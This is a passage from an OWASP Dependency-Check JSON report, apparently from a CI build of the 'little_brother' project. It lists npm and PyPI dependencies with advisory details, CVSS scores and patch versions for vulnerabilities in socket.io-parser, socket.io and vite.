              "url": "http:\/\/web.nvd.nist.gov\/view\/vuln\/detail?vulnId=CVE-2023-32695",
              "name": "http:\/\/web.nvd.nist.gov\/view\/vuln\/detail?vulnId=CVE-2023-32695"
            },
            {
              "source": "OSSINDEX",
              "url": "https:\/\/ossindex.sonatype.org\/vulnerability\/CVE-2023-32695?component-type=npm&component-name=socket.io-parser&utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4",
              "name": "[CVE-2023-32695] CWE-754: Improper Check for Unusual or Exceptional Conditions"
            },
            {
              "source": "OSSIndex",
              "url": "https:\/\/github.com\/socketio\/socket.io-parser\/security\/advisories\/GHSA-cqmj-92xf-r6r9",
              "name": "https:\/\/github.com\/socketio\/socket.io-parser\/security\/advisories\/GHSA-cqmj-92xf-r6r9"
            }
          ],
          "vulnerableSoftware": [
            {
              "software": {
                "id": "cpe:2.3:a:*:socket.io-parser:4.2.2:*:*:*:*:*:*:*",
                "vulnerabilityIdMatched": "true"
              }
            }
          ]
        },
        {
          "source": "NPM",
          "name": "GHSA-cqmj-92xf-r6r9",
          "unscored": "true",
          "severity": "high",
          "cvssv3": {
            "baseScore": 7.300000190734863,
            "attackVector": "NETWORK",
            "attackComplexity": "LOW",
            "privilegesRequired": "NONE",
            "userInteraction": "NONE",
            "scope": "UNCHANGED",
            "confidentialityImpact": "LOW",
            "integrityImpact": "LOW",
            "availabilityImpact": "LOW",
            "baseSeverity": "HIGH",
            "version": "3.1"
          },
          "cwes": [
            "CWE-754",
            "CWE-20"
          ],
          "description": "### Impact\n\nA specially crafted Socket.IO packet can trigger an uncaught exception on the Socket.IO server, thus killing the Node.js process.\n\n```\nTypeError: Cannot convert object to primitive value\n       at Socket.emit (node:events:507:25)\n       at ...\/node_modules\/socket.io\/lib\/socket.js:531:14\n```\n\n### Patches\n\nA fix has been released today (2023\/05\/22):\n\n- https:\/\/github.com\/socketio\/socket.io-parser\/commit\/3b78117bf6ba7e99d7a5cfc1ba54d0477554a7f3, included in `socket.io-parser@4.2.3`\n- https:\/\/github.com\/socketio\/socket.io-parser\/commit\/2dc3c92622dad113b8676be06f23b1ed46b02ced, included in `socket.io-parser@3.4.3`\n\n\nAnother fix has been released for the `3.3.x` branch:\n\n- https:\/\/github.com\/socketio\/socket.io-parser\/commit\/ee006607495eca4ec7262ad080dd3a91439a5ba4, included in `socket.io-parser@3.3.4\n\n| `socket.io` version | `socket.io-parser` version                                                                              | Needs minor update?                  |\n|---------------------|---------------------------------------------------------------------------------------------------------|--------------------------------------|\n| `4.5.2...latest`    | `~4.2.0` ([ref](https:\/\/github.com\/socketio\/socket.io\/commit\/9890b036cf942f6b6ad2afeb6a8361c32cd5d528)) | `npm audit fix` should be sufficient |\n| `4.1.3...4.5.1`     | `~4.1.1` ([ref](https:\/\/github.com\/socketio\/socket.io\/commit\/7c44893d7878cd5bba1eff43150c3e664f88fb57)) | Please upgrade to `socket.io@4.6.x`  |\n| `3.0.5...4.1.2`     | `~4.0.3` ([ref](https:\/\/github.com\/socketio\/socket.io\/commit\/752dfe3b1e5fecda53dae899b4a39e6fed5a1a17)) | Please upgrade to `socket.io@4.6.x`  |\n| `3.0.0...3.0.4`     | `~4.0.1` ([ref](https:\/\/github.com\/socketio\/socket.io\/commit\/1af3267e3f5f7884214cf2ca4d5282d620092fb0)) | Please upgrade to `socket.io@4.6.x`  |\n| `2.3.0...2.5.0`     | `~3.4.0` ([ref](https:\/\/github.com\/socketio\/socket.io\/commit\/cf39362014f5ff13a17168b74772c43920d6e4fd)) | `npm audit fix` should be sufficient |\n\n\n### Workarounds\n\nThere is no known workaround except upgrading to a safe version.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n- Open a discussion [here](https:\/\/github.com\/socketio\/socket.io\/discussions)\n\nThanks to [@rafax00](https:\/\/github.com\/rafax00) for the responsible disclosure.\n",
          "notes": "",
          "references": [
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/socketio\/socket.io-parser\/security\/advisories\/GHSA-cqmj-92xf-r6r9",
              "name": "https:\/\/github.com\/socketio\/socket.io-parser\/security\/advisories\/GHSA-cqmj-92xf-r6r9"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2023-32695",
              "name": "https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2023-32695"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/socketio\/socket.io-parser\/releases\/tag\/4.2.3",
              "name": "https:\/\/github.com\/socketio\/socket.io-parser\/releases\/tag\/4.2.3"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/socketio\/socket.io-parser\/commit\/ee006607495eca4ec7262ad080dd3a91439a5ba4",
              "name": "https:\/\/github.com\/socketio\/socket.io-parser\/commit\/ee006607495eca4ec7262ad080dd3a91439a5ba4"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/socketio\/socket.io-parser\/commit\/2dc3c92622dad113b8676be06f23b1ed46b02ced",
              "name": "https:\/\/github.com\/socketio\/socket.io-parser\/commit\/2dc3c92622dad113b8676be06f23b1ed46b02ced"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/socketio\/socket.io-parser\/commit\/3b78117bf6ba7e99d7a5cfc1ba54d0477554a7f3",
              "name": "https:\/\/github.com\/socketio\/socket.io-parser\/commit\/3b78117bf6ba7e99d7a5cfc1ba54d0477554a7f3"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/advisories\/GHSA-cqmj-92xf-r6r9",
              "name": "https:\/\/github.com\/advisories\/GHSA-cqmj-92xf-r6r9"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/socketio\/socket.io-parser\/commit\/1c220ddbf45ea4b44bc8dbf6f9ae245f672ba1b9",
              "name": "https:\/\/github.com\/socketio\/socket.io-parser\/commit\/1c220ddbf45ea4b44bc8dbf6f9ae245f672ba1b9"
            }
          ],
          "vulnerableSoftware": [
            {
              "software": {
                "id": "cpe:2.3:a:*:socket.io-parser:\\>\\=4.0.4\\<4.2.3:*:*:*:*:*:*:*"
              }
            }
          ]
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "socket.io:4.6.1",
      "filePath": "\/builds\/mr\/little_brother\/littlebrother-frontend\/package-lock.json?socket.io",
      "projectReferences": [
        "package-lock.json: transitive"
      ],
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGH",
            "source": "package.json",
            "name": "name",
            "value": "socket.io"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "package.json",
            "name": "name",
            "value": "socket.io"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "package.json",
            "name": "version",
            "value": "4.6.1"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:npm\/socket.io@4.6.1",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:npm\/socket.io@4.6.1?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ],
      "vulnerabilities": [
        {
          "source": "OSSINDEX",
          "name": "CVE-2024-38355",
          "severity": "HIGH",
          "cvssv3": {
            "baseScore": 7.300000190734863,
            "attackVector": "NETWORK",
            "attackComplexity": "LOW",
            "privilegesRequired": "NONE",
            "userInteraction": "NONE",
            "scope": "UNCHANGED",
            "confidentialityImpact": "LOW",
            "integrityImpact": "LOW",
            "availabilityImpact": "LOW",
            "baseSeverity": "HIGH",
            "version": "3.1"
          },
          "cwes": [
            "CWE-20"
          ],
          "description": "Socket.IO is an open source, real-time, bidirectional, event-based, communication framework. A specially crafted Socket.IO packet can trigger an uncaught exception on the Socket.IO server, thus killing the Node.js process. This issue is fixed by commit `15af22fc22` which has been included in `socket.io@4.6.2` (released in May 2023). The fix was backported in the 2.x branch as well with commit `d30630ba10`. Users are advised to upgrade. Users unable to upgrade may attach a listener for the \"error\" event to catch these errors.\n",
          "notes": "",
          "references": [
            {
              "source": "OSSIndex",
              "url": "http:\/\/web.nvd.nist.gov\/view\/vuln\/detail?vulnId=CVE-2024-38355",
              "name": "http:\/\/web.nvd.nist.gov\/view\/vuln\/detail?vulnId=CVE-2024-38355"
            },
            {
              "source": "OSSIndex",
              "url": "https:\/\/github.com\/socketio\/socket.io\/security\/advisories\/GHSA-25hc-qcg6-38wj",
              "name": "https:\/\/github.com\/socketio\/socket.io\/security\/advisories\/GHSA-25hc-qcg6-38wj"
            },
            {
              "source": "OSSINDEX",
              "url": "https:\/\/ossindex.sonatype.org\/vulnerability\/CVE-2024-38355?component-type=npm&component-name=socket.io&utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4",
              "name": "[CVE-2024-38355] CWE-20: Improper Input Validation"
            }
          ],
          "vulnerableSoftware": [
            {
              "software": {
                "id": "cpe:2.3:a:*:socket.io:4.6.1:*:*:*:*:*:*:*",
                "vulnerabilityIdMatched": "true"
              }
            }
          ]
        },
        {
          "source": "NPM",
          "name": "GHSA-25hc-qcg6-38wj",
          "unscored": "true",
          "severity": "high",
          "cvssv3": {
            "baseScore": 7.300000190734863,
            "attackVector": "NETWORK",
            "attackComplexity": "LOW",
            "privilegesRequired": "NONE",
            "userInteraction": "NONE",
            "scope": "UNCHANGED",
            "confidentialityImpact": "LOW",
            "integrityImpact": "LOW",
            "availabilityImpact": "LOW",
            "baseSeverity": "HIGH",
            "version": "3.1"
          },
          "cwes": [
            "CWE-754",
            "CWE-20"
          ],
          "description": "### Impact\n\nA specially crafted Socket.IO packet can trigger an uncaught exception on the Socket.IO server, thus killing the Node.js process.\n\n```\nnode:events:502\n    throw err; \/\/ Unhandled 'error' event\n    ^\n\nError [ERR_UNHANDLED_ERROR]: Unhandled error. (undefined)\n    at new NodeError (node:internal\/errors:405:5)\n    at Socket.emit (node:events:500:17)\n    at \/myapp\/node_modules\/socket.io\/lib\/socket.js:531:14\n    at process.processTicksAndRejections (node:internal\/process\/task_queues:77:11) {\n  code: 'ERR_UNHANDLED_ERROR',\n  context: undefined\n}\n```\n\n### Affected versions\n\n| Version range    | Needs minor update?                            |\n|------------------|------------------------------------------------|\n| `4.6.2...latest` | Nothing to do               |\n| `3.0.0...4.6.1`  | Please upgrade to `socket.io@4.6.2` (at least) |\n| `2.3.0...2.5.0`  | Please upgrade to `socket.io@2.5.1`            |\n\n### Patches\n\nThis issue is fixed by https:\/\/github.com\/socketio\/socket.io\/commit\/15af22fc22bc6030fcead322c106f07640336115, included in `socket.io@4.6.2` (released in May 2023).\n\nThe fix was backported in the 2.x branch today: https:\/\/github.com\/socketio\/socket.io\/commit\/d30630ba10562bf987f4d2b42440fc41a828119c\n\n### Workarounds\n\nAs a workaround for the affected versions of the `socket.io` package, you can attach a listener for the \"error\" event:\n\n```js\nio.on(\"connection\", (socket) => {\n  socket.on(\"error\", () => {\n    \/\/ ...\n  });\n});\n```\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n- Open a discussion [here](https:\/\/github.com\/socketio\/socket.io\/discussions)\n\nThanks a lot to [Paul Taylor](https:\/\/github.com\/Y0ursTruly) for the responsible disclosure.\n\n### References\n\n- https:\/\/github.com\/socketio\/socket.io\/commit\/15af22fc22bc6030fcead322c106f07640336115\n- https:\/\/github.com\/socketio\/socket.io\/commit\/d30630ba10562bf987f4d2b42440fc41a828119c\n",
          "notes": "",
          "references": [
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/advisories\/GHSA-25hc-qcg6-38wj",
              "name": "https:\/\/github.com\/advisories\/GHSA-25hc-qcg6-38wj"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/socketio\/socket.io\/commit\/15af22fc22bc6030fcead322c106f07640336115",
              "name": "https:\/\/github.com\/socketio\/socket.io\/commit\/15af22fc22bc6030fcead322c106f07640336115"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2024-38355",
              "name": "https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2024-38355"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/socketio\/socket.io\/security\/advisories\/GHSA-25hc-qcg6-38wj",
              "name": "https:\/\/github.com\/socketio\/socket.io\/security\/advisories\/GHSA-25hc-qcg6-38wj"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/socketio\/socket.io\/commit\/d30630ba10562bf987f4d2b42440fc41a828119c",
              "name": "https:\/\/github.com\/socketio\/socket.io\/commit\/d30630ba10562bf987f4d2b42440fc41a828119c"
            }
          ],
          "vulnerableSoftware": [
            {
              "software": {
                "id": "cpe:2.3:a:*:socket.io:\\>\\=3.0.0\\<4.6.2:*:*:*:*:*:*:*"
              }
            }
          ]
        }
      ]
    },
    {
      "isVirtual": false,
      "fileName": "some-flask-helpers-0.2.6.tar.gz: some-flask-helpers-0.2.6.tar: PKG-INFO",
      "filePath": "\/builds\/mr\/little_brother\/contrib\/some_flask_helpers\/dist\/some-flask-helpers-0.2.6.tar.gz\/some-flask-helpers-0.2.6.tar\/some-flask-helpers-0.2.6\/PKG-INFO",
      "md5": "0726239e37b955006a3111409c67bf2c",
      "sha1": "634f3b8d490c9ab3fb7775af4302e2e14db7ef2d",
      "sha256": "06750933b7c014c00b113d81359ce1ee3825c68b0e1f46db53dafe1528bbe80a",
      "relatedDependencies": [
        {
          "isVirtual": false,
          "fileName": "some-flask-helpers:0.2.6",
          "filePath": "\/builds\/mr\/little_brother\/contrib\/some_flask_helpers\/dist\/some-flask-helpers-0.2.6.tar.gz\/some-flask-helpers-0.2.6.tar\/some-flask-helpers-0.2.6\/some_flask_helpers.egg-info\/PKG-INFO",
          "sha256": "06750933b7c014c00b113d81359ce1ee3825c68b0e1f46db53dafe1528bbe80a",
          "sha1": "634f3b8d490c9ab3fb7775af4302e2e14db7ef2d",
          "md5": "0726239e37b955006a3111409c67bf2c",
          "packageIds": [
            {
              "id": "pkg:pypi/some-flask-helpers@0.2.6",
              "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/some-flask-helpers@0.2.6?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
            }
          ]
        }
      ],
      "evidenceCollected": {
        "vendorEvidence": [],
        "productEvidence": [],
        "versionEvidence": []
      }
    },
    {
      "isVirtual": false,
      "fileName": "some-flask-helpers-0.2.6.tar.gz: some-flask-helpers-0.2.6.tar: requirements.txt",
      "filePath": "\/builds\/mr\/little_brother\/contrib\/some_flask_helpers\/dist\/some-flask-helpers-0.2.6.tar.gz\/some-flask-helpers-0.2.6.tar\/some-flask-helpers-0.2.6\/requirements.txt",
      "md5": "b391e3cf3ff7a979f998edda74c71e42",
      "sha1": "1ec853b08b5331ee55a2aa02383120846b4ca0f2",
      "sha256": "675e364134daf13949316e08401fb31eeb686e2f52eb4cccd6072a87dbe4d53c",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGH",
            "source": "file",
            "name": "name",
            "value": "requirements"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGH",
            "source": "file",
            "name": "name",
            "value": "requirements"
          }
        ],
        "versionEvidence": []
      }
    },
    {
      "isVirtual": true,
      "fileName": "some-flask-helpers:0.2.6",
      "filePath": "\/builds\/mr\/little_brother\/contrib\/python_base_app\/dist\/python-base-app-0.3.0.tar.gz\/python-base-app-0.3.0.tar\/python-base-app-0.3.0\/requirements.txt:some-flask-helpers\/0.2.6",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "some-flask-helpers"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "some-flask-helpers"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "0.2.6"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/some-flask-helpers@0.2.6",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/some-flask-helpers@0.2.6?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "some-flask-helpers:0.2.6",
      "filePath": "\/builds\/mr\/little_brother\/contrib\/python_base_app\/requirements.txt:some-flask-helpers\/0.2.6",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "some-flask-helpers"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "some-flask-helpers"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "0.2.6"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/some-flask-helpers@0.2.6",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/some-flask-helpers@0.2.6?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "sqlalchemy:2.0.21",
      "filePath": "\/builds\/mr\/little_brother\/dist\/little-brother-0.5.1.tar.gz\/little-brother-0.5.1.tar\/little-brother-0.5.1\/requirements.txt:sqlalchemy\/2.0.21",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "sqlalchemy"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "sqlalchemy"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "2.0.21"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/sqlalchemy@2.0.21",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/sqlalchemy@2.0.21?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ],
      "vulnerabilityIds": [
        {
          "id": "cpe:2.3:a:sqlalchemy:sqlalchemy:2.0.21:*:*:*:*:*:*:*",
          "confidence": "HIGHEST",
          "url": "https:\/\/nvd.nist.gov\/vuln\/search\/results?form_type=Advanced&results_type=overview&search_type=all&cpe_vendor=cpe%3A%2F%3Asqlalchemy&cpe_product=cpe%3A%2F%3Asqlalchemy%3Asqlalchemy&cpe_version=cpe%3A%2F%3Asqlalchemy%3Asqlalchemy%3A2.0.21"
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "sqlalchemy:2.0.21",
      "filePath": "\/builds\/mr\/little_brother\/requirements.txt:sqlalchemy\/2.0.21",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "sqlalchemy"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "sqlalchemy"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "2.0.21"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/sqlalchemy@2.0.21",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/sqlalchemy@2.0.21?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ],
      "vulnerabilityIds": [
        {
          "id": "cpe:2.3:a:sqlalchemy:sqlalchemy:2.0.21:*:*:*:*:*:*:*",
          "confidence": "HIGHEST",
          "url": "https:\/\/nvd.nist.gov\/vuln\/search\/results?form_type=Advanced&results_type=overview&search_type=all&cpe_vendor=cpe%3A%2F%3Asqlalchemy&cpe_product=cpe%3A%2F%3Asqlalchemy%3Asqlalchemy&cpe_version=cpe%3A%2F%3Asqlalchemy%3Asqlalchemy%3A2.0.21"
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "typing_extensions:4.8.0",
      "filePath": "\/builds\/mr\/little_brother\/dist\/little-brother-0.5.1.tar.gz\/little-brother-0.5.1.tar\/little-brother-0.5.1\/requirements.txt:typing_extensions\/4.8.0",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "typing_extensions"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "typing_extensions"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "4.8.0"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/typing-extensions@4.8.0",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/typing-extensions@4.8.0?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "typing_extensions:4.8.0",
      "filePath": "\/builds\/mr\/little_brother\/requirements.txt:typing_extensions\/4.8.0",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "typing_extensions"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "typing_extensions"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "4.8.0"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/typing-extensions@4.8.0",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/typing-extensions@4.8.0?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "urllib3:2.2.2",
      "filePath": "\/builds\/mr\/little_brother\/contrib\/python_base_app\/dist\/python-base-app-0.3.0.tar.gz\/python-base-app-0.3.0.tar\/python-base-app-0.3.0\/requirements.txt:urllib3\/2.2.2",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "urllib3"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "urllib3"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "2.2.2"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/urllib3@2.2.2",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/urllib3@2.2.2?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "urllib3:2.2.2",
      "filePath": "\/builds\/mr\/little_brother\/contrib\/python_base_app\/requirements.txt:urllib3\/2.2.2",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "urllib3"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "urllib3"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "2.2.2"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/urllib3@2.2.2",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/urllib3@2.2.2?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "urllib3:2.2.2",
      "filePath": "\/builds\/mr\/little_brother\/dist\/little-brother-0.5.1.tar.gz\/little-brother-0.5.1.tar\/little-brother-0.5.1\/requirements.txt:urllib3\/2.2.2",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "urllib3"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "urllib3"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "2.2.2"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/urllib3@2.2.2",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/urllib3@2.2.2?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "urllib3:2.2.2",
      "filePath": "\/builds\/mr\/little_brother\/requirements.txt:urllib3\/2.2.2",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "urllib3"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "urllib3"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "2.2.2"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/urllib3@2.2.2",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/urllib3@2.2.2?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "vite:4.5.2",
      "filePath": "\/builds\/mr\/little_brother\/littlebrother-frontend\/package-lock.json?vite",
      "projectReferences": [
        "package-lock.json: transitive"
      ],
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGH",
            "source": "package.json",
            "name": "name",
            "value": "vite"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "package.json",
            "name": "name",
            "value": "vite"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "package.json",
            "name": "version",
            "value": "4.5.2"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:npm\/vite@4.5.2",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:npm\/vite@4.5.2?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ],
      "vulnerabilities": [
        {
          "source": "OSSINDEX",
          "name": "CVE-2024-45812",
          "severity": "MEDIUM",
          "cvssv3": {
            "baseScore": 6.400000095367432,
            "attackVector": "NETWORK",
            "attackComplexity": "HIGH",
            "privilegesRequired": "LOW",
            "userInteraction": "NONE",
            "scope": "UNCHANGED",
            "confidentialityImpact": "LOW",
            "integrityImpact": "LOW",
            "availabilityImpact": "HIGH",
            "baseSeverity": "MEDIUM",
            "version": "3.1"
          },
          "cwes": [
            "CWE-79"
          ],
          "description": "Vite a frontend build tooling framework for javascript. Affected versions of vite were discovered to contain a DOM Clobbering vulnerability when building scripts to `cjs`\/`iife`\/`umd` output format. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present. DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. We have identified a DOM Clobbering vulnerability in Vite bundled scripts, particularly when the scripts dynamically import other scripts from the assets folder and the developer sets the build output format to `cjs`, `iife`, or `umd`. In such cases, Vite replaces relative paths starting with `__VITE_ASSET__` using the URL retrieved from `document.currentScript`. However, this implementation is vulnerable to a DOM Clobbering attack. The `document.currentScript` lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server. This vulnerability can result in cross-site scripting (XSS) attacks on websites that include Vite-bundled files (configured with an output format of `cjs`, `iife`, or `umd`) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes. This issue has been patched in versions 5.4.6, 5.3.6, 5.2.14, 4.5.5, and 3.2.11. Users are advised to upgrade. There are no known workarounds for this vulnerability.",
          "notes": "",
          "references": [
            {
              "source": "OSSINDEX",
              "url": "https:\/\/ossindex.sonatype.org\/vulnerability\/CVE-2024-45812?component-type=npm&component-name=vite&utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4",
              "name": "[CVE-2024-45812] CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')"
            },
            {
              "source": "OSSIndex",
              "url": "http:\/\/web.nvd.nist.gov\/view\/vuln\/detail?vulnId=CVE-2024-45812",
